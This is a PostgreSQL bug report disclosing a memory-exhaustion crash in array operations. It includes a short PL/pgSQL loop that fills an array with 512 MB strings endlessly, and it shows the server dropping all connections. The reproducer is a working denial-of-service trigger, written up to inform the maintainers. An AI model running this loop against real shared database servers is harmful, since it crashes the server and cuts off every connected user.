BUG #19054: Memory exhaustion vulnerability in PostgreSQL array operations leads to server crash

The following bug has been logged on the website:

Bug reference: 19054
Logged by: sibo wu
Email address: sibowu(at)amazon(dot)com
PostgreSQL version: 17.6
Operating system: mac
Description:

PostgreSQL's array implementation can lead to server crashes due to
uncontrolled memory consumption during array operations. When performing
continuous array modifications within a loop, the server eventually exhausts
available memory and crashes, affecting all connected sessions.
psql (17.6)
Type "help" for help.
DO
$$
DECLARE
a_1 text[];
a text;
i bigint default 1;
BEGIN
a := repeat('A',pow(2,29)::int);
while true
loop
a_1[i] := a;
i := i + 1;
END LOOP;
END
$$;

server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
The connection to the server was lost. Attempting reset: Failed.
!?> quit